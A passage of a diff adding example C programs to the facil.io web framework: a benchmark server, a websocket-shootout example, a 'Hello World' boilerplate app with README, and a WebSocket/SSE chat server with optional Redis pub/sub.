+  /* perform cleanup */
+  cleanup();
+  return 0;
+}
+
+/* *****************************************************************************
+Request handlers
+***************************************************************************** */
+
+/* handles JSON requests */
+static void on_request_json(http_s *h) {
+  http_set_header(h, HTTP_HEADER_CONTENT_TYPE, http_mimetype_find("json", 4));
+  FIOBJ json;
+  /* create a new Hash to be serialized for every request */
+  FIOBJ hash = fiobj_hash_new2(1);
+  fiobj_hash_set(hash, JSON_KEY, fiobj_dup(JSON_VALUE));
+  json = fiobj_obj2json(hash, 0);
+  fiobj_free(hash);
+  fio_str_info_s tmp = fiobj_obj2cstr(json);
+  http_send_body(h, tmp.data, tmp.len);
+  fiobj_free(json);
+}
+
+/* handles plain text requests (Hello World) */
+static void on_request_plain_text(http_s *h) {
+  http_set_header(h, HTTP_HEADER_CONTENT_TYPE, http_mimetype_find("txt", 3));
+  http_send_body(h, "Hello, World!", 13);
+}
+
+/* *****************************************************************************
+CLI
+***************************************************************************** */
+
+/* initialize CLI helper and manage it's default options */
+static void cli_init(int argc, char const *argv[]) {
+  fio_cli_start(argc, argv, 0, 0,
+                "This is a facil.io framework benchmark application.\n"
+                "\nFor details about the benchmarks visit:\n"
+                "http://frameworkbenchmarks.readthedocs.io/en/latest/\n"
+                "\nThe following arguments are supported:",
+                FIO_CLI_PRINT_HEADER("Concurrency:"),
+                FIO_CLI_INT("-threads -t The number of threads to use. "
+                            "System dependent default."),
+                FIO_CLI_INT("-workers -w The number of processes to use. "
+                            "System dependent default."),
+                FIO_CLI_PRINT_HEADER("Address Binding:"),
+                FIO_CLI_INT("-port -p The port number to listen to "
+                            "(set to 0 for Unix Sockets."),
+                FIO_CLI_STRING("-address -b The address to bind to."),
+                FIO_CLI_PRINT_HEADER("HTTP Settings:"),
+                FIO_CLI_STRING("-public -www A public folder for serve an HTTP "
+                               "static file service."),
+                FIO_CLI_BOOL("-log -v Turns logging on (logs to terminal)."),
+                FIO_CLI_PRINT_HEADER("Misc:"),
+                FIO_CLI_STRING("-database -db The database adrress (URL)."));
+
+  /* setup default port */
+  if (!fio_cli_get("-p")) {
+    fio_cli_set("-p", "8080");
+    fio_cli_set("-port", "8080");
+  }
+
+  /* setup database address */
+  if (!fio_cli_get("-db")) {
+    char *database = getenv("DBHOST");
+    if (!database)
+      database = "localhost";
+    fio_cli_set("-db", database);
+    fio_cli_set("-database", database);
+  }
+}
+
+/* *****************************************************************************
+Routing
+***************************************************************************** */
+
+typedef void (*fio_router_handler_fn)(http_s *);
+#define FIO_SET_NAME fio_router
+#define FIO_SET_OBJ_TYPE fio_router_handler_fn
+#define FIO_SET_KEY_TYPE fio_str_s
+#define FIO_SET_KEY_COPY(dest, obj) fio_str_concat(&(dest), &(obj))
+#define FIO_SET_KEY_DESTROY(obj) fio_str_free(&(obj))
+#define FIO_SET_KEY_COMPARE(k1, k2) fio_str_iseq(&(k1), &k2)
+#define FIO_INCLUDE_STR
+#define FIO_STR_NO_REF
+#include <fio.h>
+/* the router is a simple hash map */
+static fio_router_s routes;
+
+/* adds a route to our simple router */
+static void route_add(char *path, void (*handler)(http_s *)) {
+  /* add handler to the hash map */
+  fio_str_s tmp = FIO_STR_INIT_STATIC(path);
+  /* fio hash maps support up to 96 full collisions, we can use len as hash */
+  fio_router_insert(&routes, fio_str_len(&tmp), tmp, handler, NULL);
+}
+
+/* routes a request to the correct handler */
+static void route_perform(http_s *h) {
+  /* add required Serevr header */
+  http_set_header(h, HTTP_HEADER_SERVER, fiobj_dup(HTTP_VALUE_SERVER));
+  /* collect path from hash map */
+  fio_str_info_s tmp_i = fiobj_obj2cstr(h->path);
+  fio_str_s tmp = FIO_STR_INIT_EXISTING(tmp_i.data, tmp_i.len, 0);
+  fio_router_handler_fn handler = fio_router_find(&routes, tmp_i.len, tmp);
+  /* forward request or send error */
+  if (handler) {
+    handler(h);
+    return;
+  }
+  http_send_error(h, 404);
+}
+
+/* cleanup for our router */
+static void route_clear(void) { fio_router_free(&routes); }
+
+/* *****************************************************************************
+Cleanup
+***************************************************************************** */
+
+/* cleanup any leftovers */
+static void cleanup(void) {
+  fio_cli_end();
+  fiobj_free(HTTP_HEADER_SERVER);
+  fiobj_free(HTTP_VALUE_SERVER);
+  fiobj_free(JSON_KEY);
+  fiobj_free(JSON_VALUE);
+
+  route_clear();
+}

facil.io/examples/benchmarks/websocket_shootout.c

@@ -0,0 +1,255 @@
+/**
+This example emulates the websocket shootout testing requirements, except that
+the JSON will not be fully parsed.
+
+See the Websocket-Shootout repository at GitHub:
+https://github.com/hashrocket/websocket-shootout
+
+Using the benchmarking tool, try the following benchmarks (binary and text):
+
+websocket-bench broadcast ws://127.0.0.1:3000/ --concurrent 10 \
+--sample-size 100 --server-type binary --step-size 1000 --limit-percentile 95 \
+--limit-rtt 250ms --initial-clients 1000
+
+websocket-bench broadcast ws://127.0.0.1:3000/ --concurrent 10 \
+--sample-size 100 --step-size 1000 --limit-percentile 95 \
+--limit-rtt 250ms --initial-clients 1000
+
+*/
+
+#include "http.h"
+
+#include "fio_cli.h"
+#include "redis_engine.h"
+
+#ifdef __APPLE__
+#include <dlfcn.h>
+#define PATCH_ENV()                                                            \
+  do {                                                                         \
+    void *obj_c_runtime =                                                      \
+        dlopen("Foundation.framework/Foundation", RTLD_LAZY);                  \
+    (void)obj_c_runtime;                                                       \
+  } while (0)
+#else
+#define PATCH_ENV()
+#endif
+
+/* *****************************************************************************
+Sunscription related variables and callbacks (used also for testing)
+***************************************************************************** */
+
+fio_str_info_s CHANNEL_TEXT = {.len = 4, .data = "text"};
+fio_str_info_s CHANNEL_BINARY = {.len = 6, .data = "binary"};
+
+static size_t sub_count;
+static size_t unsub_count;
+
+static void on_websocket_unsubscribe(void *udata) {
+  (void)udata;
+  fio_atomic_add(&unsub_count, 1);
+}
+
+static void print_subscription_balance(void *a) {
+  FIO_LOG_INFO("(%d) subscribe / on_unsubscribe count (%s): %zu / %zu",
+               getpid(), (char *)a, sub_count, unsub_count);
+}
+
+/* *****************************************************************************
+WebSocket event callbacks
+***************************************************************************** */
+
+static void on_open_shootout_websocket(ws_s *ws) {
+  fio_atomic_add(&sub_count, 2);
+  websocket_subscribe(ws, .channel = CHANNEL_TEXT, .force_text = 1,
+                      .on_unsubscribe = on_websocket_unsubscribe);
+  websocket_subscribe(ws, .channel = CHANNEL_BINARY, .force_binary = 1,
+                      .on_unsubscribe = on_websocket_unsubscribe);
+}
+static void on_open_shootout_websocket_sse(http_sse_s *sse) {
+  http_sse_subscribe(sse, .channel = CHANNEL_TEXT);
+}
+
+static void handle_websocket_messages(ws_s *ws, fio_str_info_s msg,
+                                      uint8_t is_text) {
+  if (msg.data[0] == 'b') {
+    fio_publish(.channel = CHANNEL_BINARY, .message = msg);
+    // fwrite(".", 1, 1, stderr);
+    msg.data[0] = 'r';
+    websocket_write(ws, msg, 0);
+  } else if (msg.data[9] == 'b') {
+    // fwrite(".", 1, 1, stderr);
+    fio_publish(.channel = CHANNEL_TEXT, .message = msg);
+    /* send result */
+    msg.len = msg.len + (25 - 19);
+    void *buff = fio_malloc(msg.len);
+    memcpy(buff, "{\"type\":\"broadcastResult\"", 25);
+    memcpy((void *)(((uintptr_t)buff) + 25), msg.data + 19, msg.len - 25);
+    msg.data = buff;
+    websocket_write(ws, msg, 1);
+    fio_free(buff);
+  } else {
+    /* perform echo */
+    websocket_write(ws, msg, is_text);
+  }
+}
+
+/* *****************************************************************************
+HTTP events
+***************************************************************************** */
+
+static void answer_http_request(http_s *request) {
+  http_set_header(request, HTTP_HEADER_CONTENT_TYPE,
+                  http_mimetype_find("txt", 3));
+  http_send_body(request, "This is a Websocket-Shootout example!", 37);
+}
+static void answer_http_upgrade(http_s *request, char *target, size_t len) {
+  if (len >= 9 && target[1] == 'e') {
+    http_upgrade2ws(request, .on_message = handle_websocket_messages,
+                    .on_open = on_open_shootout_websocket);
+  } else if (len >= 3 && target[0] == 's') {
+    http_upgrade2sse(request, .on_open = on_open_shootout_websocket_sse);
+  } else
+    http_send_error(request, 400);
+}
+
+/* *****************************************************************************
+Pub/Sub logging (for debugging)
+***************************************************************************** */
+
+/** Should subscribe channel. Failures are ignored. */
+static void logger_subscribe(const fio_pubsub_engine_s *eng,
+                             fio_str_info_s channel, fio_match_fn match) {
+  FIO_LOG_INFO("(%d) Channel subscription created: %s", getpid(), channel.data);
+  (void)eng;
+  (void)match;
+}
+/** Should unsubscribe channel. Failures are ignored. */
+static void logger_unsubscribe(const fio_pubsub_engine_s *eng,
+                               fio_str_info_s channel, fio_match_fn match) {
+  FIO_LOG_INFO("(%d) Channel subscription destroyed: %s", getpid(),
+               channel.data);
+  fflush(stderr);
+  (void)eng;
+  (void)match;
+}
+/** Should publish a message through the engine. Failures are ignored. */
+static void logger_publish(const fio_pubsub_engine_s *eng,
+                           fio_str_info_s channel, fio_str_info_s msg,
+                           uint8_t is_json) {
+  (void)eng;
+  (void)channel;
+  (void)msg;
+  (void)is_json;
+}
+
+static fio_pubsub_engine_s PUBSUB_LOGGIN_ENGINE = {
+    .subscribe = logger_subscribe,
+    .unsubscribe = logger_unsubscribe,
+    .publish = logger_publish,
+};
+
+/* *****************************************************************************
+Redis cleanup helpers
+***************************************************************************** */
+
+static void redis_cleanup(void *e_) {
+  redis_engine_destroy(e_);
+  FIO_LOG_DEBUG("Cleaned up redis engine object.");
+  FIO_PUBSUB_DEFAULT = FIO_PUBSUB_CLUSTER;
+}
+
+static void redis_initialize(void) {
+  if (fio_cli_get("-redis") && strlen(fio_cli_get("-redis"))) {
+    FIO_LOG_INFO("* Initializing Redis connection to %s\n",
+                 fio_cli_get("-redis"));
+    fio_url_s info =
+        fio_url_parse(fio_cli_get("-redis"), strlen(fio_cli_get("-redis")));
+    fio_pubsub_engine_s *e =
+        redis_engine_create(.address = info.host, .port = info.port,
+                            .auth = info.password);
+    if (e) {
+      fio_state_callback_add(FIO_CALL_ON_FINISH, redis_cleanup, e);
+      FIO_PUBSUB_DEFAULT = e;
+    } else {
+      FIO_LOG_ERROR("Failed to create redis engine object.");
+    }
+  }
+}
+
+/* *****************************************************************************
+The main function
+***************************************************************************** */
+
+/*
+Read available command line details using "-?".
+*/
+int main(int argc, char const *argv[]) {
+  const char *port = "3000";
+  const char *public_folder = NULL;
+  uint32_t threads = 0;
+  uint32_t workers = 0;
+  uint8_t print_log = 0;
+
+  /*     ****  Command line arguments ****     */
+  fio_cli_start(
+      argc, argv, 0, 0,
+      "This is a facil.io example application.\n"
+      "\nThis example conforms to the "
+      "Websocket Shootout requirements at:\n"
+      "https://github.com/hashrocket/websocket-shootout\n"
+      "\nThe following arguments are supported:",
+      FIO_CLI_PRINT_HEADER("Concurrency"),
+      FIO_CLI_INT("-threads -t The number of threads to use. "
+                  "System dependent default."),
+      FIO_CLI_INT("-workers -w The number of processes to use. "
+                  "System dependent default."),
+      FIO_CLI_PRINT_HEADER("Connectivity"),
+      FIO_CLI_INT("-port -p The port number to listen to."),
+      FIO_CLI_PRINT_HEADER("HTTP settings"),
+      "-public -www A public folder for serve an HTTP static file service.",
+      FIO_CLI_BOOL("-log -v Turns logging on."), FIO_CLI_PRINT_HEADER("Misc"),
+      "-redis -r add a Redis pub/sub round-trip.",
+      FIO_CLI_BOOL("-debug Turns debug notifications on."));
+
+  if (fio_cli_get_bool("-debug"))
+    FIO_LOG_LEVEL = FIO_LOG_LEVEL_DEBUG;
+
+  if (fio_cli_get("-p"))
+    port = fio_cli_get("-p");
+  if (fio_cli_get("-www")) {
+    public_folder = fio_cli_get("-www");
+    fprintf(stderr, "* serving static files from:%s\n", public_folder);
+  }
+  if (fio_cli_get_i("-t"))
+    threads = fio_cli_get_i("-t");
+  if (fio_cli_get_i("-w"))
+    workers = fio_cli_get_i("-w");
+  print_log = fio_cli_get_i("-v");
+
+  redis_initialize();
+
+  fio_cli_end();
+
+  /*     ****  actual code ****     */
+  if (http_listen(port, NULL, .on_request = answer_http_request,
+                  .on_upgrade = answer_http_upgrade, .log = print_log,
+                  .public_folder = public_folder) == -1) {
+    perror("Couldn't initiate Websocket Shootout service");
+    exit(1);
+  }
+
+  /* patch for dealing with the High Sierra `fork` limitations */
+  PATCH_ENV();
+
+  if (FIO_LOG_LEVEL == FIO_LOG_LEVEL_DEBUG) {
+    fio_pubsub_attach(&PUBSUB_LOGGIN_ENGINE);
+    fio_state_callback_add(FIO_CALL_ON_SHUTDOWN, print_subscription_balance,
+                           "on shutdown");
+    fio_state_callback_add(FIO_CALL_ON_FINISH, print_subscription_balance,
+                           "on finish");
+    fio_state_callback_add(FIO_CALL_AT_EXIT, print_subscription_balance,
+                           "at exit");
+  }
+
+  fio_start(.threads = threads, .workers = workers);
+}

facil.io/examples/boiler_plate/README.md

@@ -0,0 +1,28 @@
+# Welcome to your new application
+
+Please fill in this README file with relevant information for your application.
+
+To learn more about using the [facil.io framework](http://facil.io), please read through the comments in the source code or the guides on the framework's website.
+
+Good luck!
+
+## What you're starting with
+
+This folder contains the library code, some boilerplate application code, a complex (yet very helpful) `makefile` and some helper scripts.
+
+### Temporary boilerplate application
+
+The boilerplate code, which is a basic "Hello World!" HTTP application resides in the `src` folder.
+
+If you wish to rename the folder, make sure to update the `MAIN_ROOT` in the  `makefile`.
+
+It's also possible to use sub-folders using the `MAIN_SUBFOLDERS` variable in the `makefile` (i.e., add `foo/bar` to add the sub-folder `src/foo/bar`).
+
+### The Library code
+
+The facil.io library source code files reside in the `lib/facil` folder.
+
+It's possible to remove any unused modules. For example, if you're not writing an HTTP application, it's safe to remove the `facil/http` folder and the source files it contains. If your application doesn't need Redis connectivity, it can be removed.
+
+However, since code footprint is usually a minor concern (and can often be fixed by adding instructions to the compiler using the makefile), it is recommended that unused code be left alone in case it would be required at a later stage.
+

facil.io/examples/boiler_plate/src/cli.c

@@ -0,0 +1,90 @@
+#include <stdlib.h>
+#include <string.h>
+
+#include "cli.h"
+
+#include "fio.h"
+#include "fio_cli.h"
+#include "http.h"
+#include "redis_engine.h"
+
+static void redis_cleanup(void *e_) {
+  redis_engine_destroy(e_);
+  FIO_LOG_DEBUG("Cleaned up redis engine object.");
+  FIO_PUBSUB_DEFAULT = FIO_PUBSUB_CLUSTER;
+}
+
+void initialize_cli(int argc, char const *argv[]) {
+  /*     ****  Command line arguments ****     */
+  fio_cli_start(
+      argc, argv, 0, 0, NULL, FIO_CLI_PRINT_HEADER("Address binding:"),
+      FIO_CLI_INT("-port -p port number to listen to. defaults port 3000"),
+      FIO_CLI_STRING("-bind -b address to listen to. defaults any available."),
+      FIO_CLI_PRINT_HEADER("Concurrency:"),
+      FIO_CLI_INT("-workers -w number of processes to use."),
+      FIO_CLI_INT("-threads -t number of threads per process."),
+      FIO_CLI_PRINT_HEADER("HTTP Server:"),
+      FIO_CLI_STRING("-public -www public folder, for static file service."),
+      FIO_CLI_INT(
+          "-keep-alive -k HTTP keep-alive timeout (0..255). default: ~5s"),
+      FIO_CLI_INT("-max-body -maxbd HTTP upload limit. default: ~50Mb"),
+      FIO_CLI_BOOL("-log -v request verbosity (logging)."),
+      FIO_CLI_PRINT_HEADER("WebSocket Server:"),
+      FIO_CLI_INT("-ping websocket ping interval (0..255). default: ~40s"),
+      FIO_CLI_INT("-max-msg -maxms incoming websocket message size limit. "
+                  "default: ~250Kb"),
+      FIO_CLI_PRINT_HEADER("Redis support:"),
+      FIO_CLI_STRING("-redis -r an optional Redis URL server address."),
+      FIO_CLI_PRINT("\t\ti.e.: redis://user:password@localhost:6379/"));
+
+  /* Test and set any default options */
+  if (!fio_cli_get("-b")) {
+    char *tmp = getenv("ADDRESS");
+    if (tmp) {
+      fio_cli_set("-b", tmp);
+      fio_cli_set("-bind", tmp);
+    }
+  }
+  if (!fio_cli_get("-p")) {
+    /* Test environment as well and make sure address is missing */
+    char *tmp = getenv("PORT");
+    if (!tmp && !fio_cli_get("-b"))
+      tmp = "3000";
+    /* Set default (unlike cmd line arguments, aliases are manually set) */
+    fio_cli_set("-p", tmp);
+    fio_cli_set("-port", tmp);
+  }
+  if (!fio_cli_get("-public")) {
+    char *tmp = getenv("HTTP_PUBLIC_FOLDER");
+    if (tmp) {
+      fio_cli_set("-public", tmp);
+      fio_cli_set("-www", tmp);
+    }
+  }
+
+  if (!fio_cli_get("-redis")) {
+    char *tmp = getenv("REDIS_URL");
+    if (tmp) {
+      fio_cli_set("-redis", tmp);
+      fio_cli_set("-r", tmp);
+    }
+  }
+
+  if (fio_cli_get("-redis") && strlen(fio_cli_get("-redis"))) {
+    FIO_LOG_INFO("* Initializing Redis connection to %s\n",
+                 fio_cli_get("-redis"));
+    http_url_s info =
+        http_url_parse(fio_cli_get("-redis"), strlen(fio_cli_get("-redis")));
+    fio_pubsub_engine_s *e =
+        redis_engine_create(.address = info.host, .port = info.port,
+                            .auth = info.password);
+    if (e) {
+      fio_state_callback_add(FIO_CALL_ON_FINISH, redis_cleanup, e);
+      FIO_PUBSUB_DEFAULT = e;
+    } else {
+      FIO_LOG_ERROR("Failed to create redis engine object.");
+    }
+  }
+}
+
+void free_cli(void) { fio_cli_end(); }

facil.io/examples/boiler_plate/src/cli.h

@@ -0,0 +1,7 @@
+#ifndef H_APP_CLI_H
+#define H_APP_CLI_H
+
+void initialize_cli(int argc, char const *argv[]);
+void free_cli(void);
+
+#endif

facil.io/examples/boiler_plate/src/http_service.c

@@ -0,0 +1,25 @@
+#include "fio_cli.h"
+#include "main.h"
+
+/* TODO: edit this function to handle HTTP data and answer Websocket requests.*/
+static void on_http_request(http_s *h) {
+  /* set a response and send it (finnish vs. destroy). */
+  http_send_body(h, "Hello World!", 12);
+}
+
+/* starts a listeninng socket for HTTP connections. */
+void initialize_http_service(void) {
+  /* listen for inncoming connections */
+  if (http_listen(fio_cli_get("-p"), fio_cli_get("-b"),
+                  .on_request = on_http_request,
+                  .max_body_size = fio_cli_get_i("-maxbd") * 1024 * 1024,
+                  .ws_max_msg_size = fio_cli_get_i("-max-msg") * 1024,
+                  .public_folder = fio_cli_get("-public"),
+                  .log = fio_cli_get_bool("-log"),
+                  .timeout = fio_cli_get_i("-keep-alive"),
+                  .ws_timeout = fio_cli_get_i("-ping")) == -1) {
+    /* listen failed ?*/
+    perror("ERROR: facil couldn't initialize HTTP service (already running?)");
+    exit(1);
+  }
+}

facil.io/examples/boiler_plate/src/http_service.h

@@ -0,0 +1,7 @@
+#ifndef H_HTTP_SERVICE_H
+#define H_HTTP_SERVICE_H
+
+/* this function can be safely ignored. */
+void initialize_http_service(void);
+
+#endif

facil.io/examples/boiler_plate/src/main.c

@@ -0,0 +1,16 @@
+#include "main.h"
+
+int main(int argc, char const *argv[]) {
+  /* accept command line arguments and setup default values, see "cli.c" */
+  initialize_cli(argc, argv);
+
+  /* initialize HTTP service, see "http_service.h" */
+  initialize_http_service();
+
+  /* start facil */
+  fio_start(.threads = fio_cli_get_i("-t"), .workers = fio_cli_get_i("-w"));
+
+  /* cleanup CLI, see "cli.c" */
+  free_cli();
+  return 0;
+}

facil.io/examples/boiler_plate/src/main.h

@@ -0,0 +1,6 @@
+#include "fio.h"
+
+#include "cli.h"
+#include "fio_cli.h"
+#include "http.h"
+#include "http_service.h"

facil.io/examples/http-chat.c

@@ -0,0 +1,344 @@
+/**
+In this a Hello World example using the bundled HTTP / WebSockets extension.
+
+Compile using:
+
+    NAME=http make
+
+Or test the `poll` engine's performance by compiling with `poll`:
+
+    FIO_POLL=1 NAME=http make
+
+Run with:
+
+    ./tmp/http -t 1
+
+Benchmark with keep-alive:
+
+    ab -c 200 -t 4 -n 1000000 -k http://127.0.0.1:3000/
+    wrk -c200 -d4 -t1 http://localhost:3000/
+
+Benchmark with higher load:
+
+    ab -c 4400 -t 4 -n 1000000 -k http://127.0.0.1:3000/
+    wrk -c4400 -d4 -t1 http://localhost:3000/
+
+Use a javascript console to connect to the WebSocket chat service... maybe using
+the following javascript code:
+
+    // run 1st client app on port 3000.
+    ws = new WebSocket("ws://localhost:3000/Mitchel");
+    ws.onmessage = function(e) { console.log(e.data); };
+    ws.onclose = function(e) { console.log("closed"); };
+    ws.onopen = function(e) { e.target.send("Yo!"); };
+
+    // run 2nd client app on port 3030, to test Redis
+    ws = new WebSocket("ws://localhost:3030/Johana");
+    ws.onmessage = function(e) { console.log(e.data); };
+    ws.onclose = function(e) { console.log("closed"); };
+    ws.onopen = function(e) { e.target.send("Brut."); };
+
+It's possible to use SSE (Server-Sent-Events / EventSource) for listening in on
+the chat:
+
+    var source = new EventSource("/Watcher");
+    source.addEventListener('message', (e) => { console.log(e.data); });
+    source.addEventListener('open', (e) => {
+      console.log("SSE Connection open.");
+    }); source.addEventListener('close', (e) => {
+      console.log("SSE Connection lost."); });
+
+Remember that published messages will now be printed to the console both by
+Mitchel and Johana, which means messages will be delivered twice unless using
+two different browser windows.
+*/
+
+/* Include the core library */
+#include <fio.h>
+
+/* Include the TLS, CLI, FIOBJ and HTTP / WebSockets extensions */
+#include <fio_cli.h>
+#include <fio_tls.h>
+#include <http.h>
+#include <redis_engine.h>
+
+/* *****************************************************************************
+The main function
+***************************************************************************** */
+
+/* HTTP request handler */
+static void on_http_request(http_s *h);
+/* HTTP upgrade request handler */
+static void on_http_upgrade(http_s *h, char *requested_protocol, size_t len);
+/* Command Line Arguments Management */
+static void initialize_cli(int argc, char const *argv[]);
+/* Initializes Redis, if set by command line arguments */
+static void initialize_redis(void);
+
+int main(int argc, char const *argv[]) {
+  initialize_cli(argc, argv);
+  initialize_redis();
+  /* TLS support */
+  fio_tls_s *tls = NULL;
+  if (fio_cli_get_bool("-tls")) {
+    char local_addr[1024];
+    local_addr[fio_local_addr(local_addr, 1023)] = 0;
+    tls = fio_tls_new(local_addr, NULL, NULL, NULL);
+  }
+  /* optimize WebSocket pub/sub for multi-connection broadcasting */
+  websocket_optimize4broadcasts(WEBSOCKET_OPTIMIZE_PUBSUB, 1);
+  /* listen for inncoming connections */
+  if (http_listen(fio_cli_get("-p"), fio_cli_get("-b"),
+                  .on_request = on_http_request, .on_upgrade = on_http_upgrade,
+                  .max_body_size = (fio_cli_get_i("-maxbd") * 1024 * 1024),
+                  .ws_max_msg_size = (fio_cli_get_i("-maxms") * 1024),
+                  .public_folder = fio_cli_get("-public"),
+                  .log = fio_cli_get_bool("-log"),
+                  .timeout = fio_cli_get_i("-keep-alive"), .tls = tls,
+                  .ws_timeout = fio_cli_get_i("-ping")) == -1) {
+    /* listen failed ?*/
+    perror(
+        "ERROR: facil.io couldn't initialize HTTP service (already running?)");
+    exit(1);
+  }
+  fio_start(.threads = fio_cli_get_i("-t"), .workers = fio_cli_get_i("-w"));
+  fio_cli_end();
+  fio_tls_destroy(tls);
+  return 0;
+}
+
+/* *****************************************************************************
+HTTP Request / Response Handling
+***************************************************************************** */
+
+static void on_http_request(http_s *h) {
+  /* set a response and send it (finnish vs. destroy). */
+  http_send_body(h, "Hello World!", 12);
+}
+
+/* *****************************************************************************
+HTTP Upgrade Handling
+***************************************************************************** */
+
+/* Server Sent Event Handlers */
+static void sse_on_open(http_sse_s *sse);
+static void sse_on_close(http_sse_s *sse);
+
+/* WebSocket Handlers */
+static void ws_on_open(ws_s *ws);
+static void ws_on_message(ws_s *ws, fio_str_info_s msg, uint8_t is_text);
+static void ws_on_shutdown(ws_s *ws);
+static void ws_on_close(intptr_t uuid, void *udata);
+
+/* HTTP upgrade callback */
+static void on_http_upgrade(http_s *h, char *requested_protocol, size_t len) {
+  /* Upgrade to SSE or WebSockets and set the request path as a nickname. */
+  FIOBJ nickname;
+  if (fiobj_obj2cstr(h->path).len > 1) {
+    nickname = fiobj_str_new(fiobj_obj2cstr(h->path).data + 1,
+                             fiobj_obj2cstr(h->path).len - 1);
+  } else {
+    nickname = fiobj_str_new("Guest", 5);
+  }
+  /* Test for upgrade protocol (websocket vs. sse) */
+  if (len == 3 && requested_protocol[1] == 's') {
+    if (fio_cli_get_bool("-v")) {
+      fprintf(stderr, "* (%d) new SSE connection: %s.\n", getpid(),
+              fiobj_obj2cstr(nickname).data);
+    }
+    http_upgrade2sse(h, .on_open = sse_on_open, .on_close = sse_on_close,
+                     .udata = (void *)nickname);
+  } else if (len == 9 && requested_protocol[1] == 'e') {
+    if (fio_cli_get_bool("-v")) {
+      fprintf(stderr, "* (%d) new WebSocket connection: %s.\n", getpid(),
+              fiobj_obj2cstr(nickname).data);
+    }
+    http_upgrade2ws(h, .on_message = ws_on_message, .on_open = ws_on_open,
+                    .on_shutdown = ws_on_shutdown, .on_close = ws_on_close,
+                    .udata = (void *)nickname);
+  } else {
+    fprintf(stderr, "WARNING: unrecognized HTTP upgrade request: %s\n",
+            requested_protocol);
+    http_send_error(h, 400);
+    fiobj_free(nickname); // we didn't use this
+  }
+}
+
+/* *****************************************************************************
+Globals
+***************************************************************************** */
+
+static fio_str_info_s CHAT_CANNEL = {.data = "chat", .len = 4};
+
+/* *****************************************************************************
+HTTP SSE (Server Sent Events) Callbacks
+***************************************************************************** */
+
+/**
+ * The (optional) on_open callback will be called once the EventSource
+ * connection is established.
+ */
+static void sse_on_open(http_sse_s *sse) {
+  http_sse_write(sse, .data = {.data = "Welcome to the SSE chat channel.\r\n"
+                                       "You can only listen, not write.",
+                               .len = 65});
+  http_sse_subscribe(sse, .channel = CHAT_CANNEL);
+  http_sse_set_timout(sse, fio_cli_get_i("-ping"));
+  FIOBJ tmp = fiobj_str_copy((FIOBJ)sse->udata);
+  fiobj_str_write(tmp, " joind the chat only to listen.", 31);
+  fio_publish(.channel = CHAT_CANNEL, .message = fiobj_obj2cstr(tmp));
+  fiobj_free(tmp);
+}
+
+static void sse_on_close(http_sse_s *sse) {
+  /* Let everyone know we left the chat */
+  fiobj_str_write((FIOBJ)sse->udata, " left the chat.", 15);
+  fio_publish(.channel = CHAT_CANNEL,
+              .message = fiobj_obj2cstr((FIOBJ)sse->udata));
+  /* free the nickname */
+  fiobj_free((FIOBJ)sse->udata);
+}
+
+/* *****************************************************************************
+WebSockets Callbacks
+***************************************************************************** */
+
+static void ws_on_message(ws_s *ws, fio_str_info_s msg, uint8_t is_text) {
+  // Add the Nickname to the message
+  FIOBJ str = fiobj_str_copy((FIOBJ)websocket_udata_get(ws));
+  fiobj_str_write(str, ": ", 2);
+  fiobj_str_write(str, msg.data, msg.len);
+  // publish
+  fio_publish(.channel = CHAT_CANNEL, .message = fiobj_obj2cstr(str));
+  // free the string
+  fiobj_free(str);
+  (void)is_text; // we don't care.
+  (void)ws;      // this could be used to send an ACK, but we don't.
+}
+static void ws_on_open(ws_s *ws) {
+  websocket_subscribe(ws, .channel = CHAT_CANNEL);
+  websocket_write(
+      ws, (fio_str_info_s){.data = "Welcome to the chat-room.", .len = 25}, 1);
+  FIOBJ tmp = fiobj_str_copy((FIOBJ)websocket_udata_get(ws));
+  fiobj_str_write(tmp, " joind the chat.", 16);
+  fio_publish(.channel = CHAT_CANNEL, .message = fiobj_obj2cstr(tmp));
+  fiobj_free(tmp);
+}
+static void ws_on_shutdown(ws_s *ws) {
+  websocket_write(
+      ws, (fio_str_info_s){.data = "Server shutting down, goodbye.", .len = 30},
+      1);
+}
+
+static void ws_on_close(intptr_t uuid, void *udata) {
+  /* Let everyone know we left the chat */
+  fiobj_str_write((FIOBJ)udata, " left the chat.", 15);
+  fio_publish(.channel = CHAT_CANNEL, .message = fiobj_obj2cstr((FIOBJ)udata));
+  /* free the nickname */
+  fiobj_free((FIOBJ)udata);
+  (void)uuid; // we don't use the ID
+}
+
+/* *****************************************************************************
+Redis initialization
+***************************************************************************** */
+static void initialize_redis(void) {
+  if (!fio_cli_get("-redis") || !strlen(fio_cli_get("-redis")))
+    return;
+  FIO_LOG_STATE("* Initializing Redis connection to %s\n",
+                fio_cli_get("-redis"));
+  fio_url_s info =
+      fio_url_parse(fio_cli_get("-redis"), strlen(fio_cli_get("-redis")));
+  fio_pubsub_engine_s *e =
+      redis_engine_create(.address = info.host, .port = info.port,
+                          .auth = info.password);
+  if (e)
+    fio_state_callback_add(FIO_CALL_ON_FINISH,
+                           (void (*)(void *))redis_engine_destroy, e);
+  FIO_PUBSUB_DEFAULT = e;
+}
+
+/* *****************************************************************************
+CLI helpers
+***************************************************************************** */
+static void initialize_cli(int argc, char const *argv[]) {
+  /*     ****  Command line arguments ****     */
+  fio_cli_start(
+      argc, argv, 0, 0, NULL,
+      // Address Binding
+      FIO_CLI_PRINT_HEADER("Address Binding:"),
+      FIO_CLI_INT("-port -p port number to listen to. defaults port 3000"),
+      "-bind -b address to listen to. defaults any available.",
+      FIO_CLI_BOOL("-tls use a self signed certificate for TLS."),
+      // Concurrency
+      FIO_CLI_PRINT_HEADER("Concurrency:"),
+      FIO_CLI_INT("-workers -w number of processes to use."),
+      FIO_CLI_INT("-threads -t number of threads per process."),
+      // HTTP Settings
+      FIO_CLI_PRINT_HEADER("HTTP Settings:"),
+      "-public -www public folder, for static file service.",
+      FIO_CLI_INT(
+          "-keep-alive -k HTTP keep-alive timeout (0..255). default: 10s"),
+      FIO_CLI_INT(
+          "-max-body -maxbd HTTP upload limit in Mega Bytes. default: 50Mb"),
+      FIO_CLI_BOOL("-log -v request verbosity (logging)."),
+      // WebSocket Settings
+      FIO_CLI_PRINT_HEADER("WebSocket Settings:"),
+      FIO_CLI_INT("-ping websocket ping interval (0..255). default: 40s"),
+      FIO_CLI_INT("-max-msg -maxms incoming websocket message "
+                  "size limit in Kb. default: 250Kb"),
+      // Misc Settings
+      FIO_CLI_PRINT_HEADER("Misc:"),
+      FIO_CLI_STRING("-redis -r an optional Redis URL server address."),
+      FIO_CLI_PRINT("\t\ta valid Redis URL would follow the pattern:"),
+      FIO_CLI_PRINT("\t\t\tredis://user:password@localhost:6379/"),
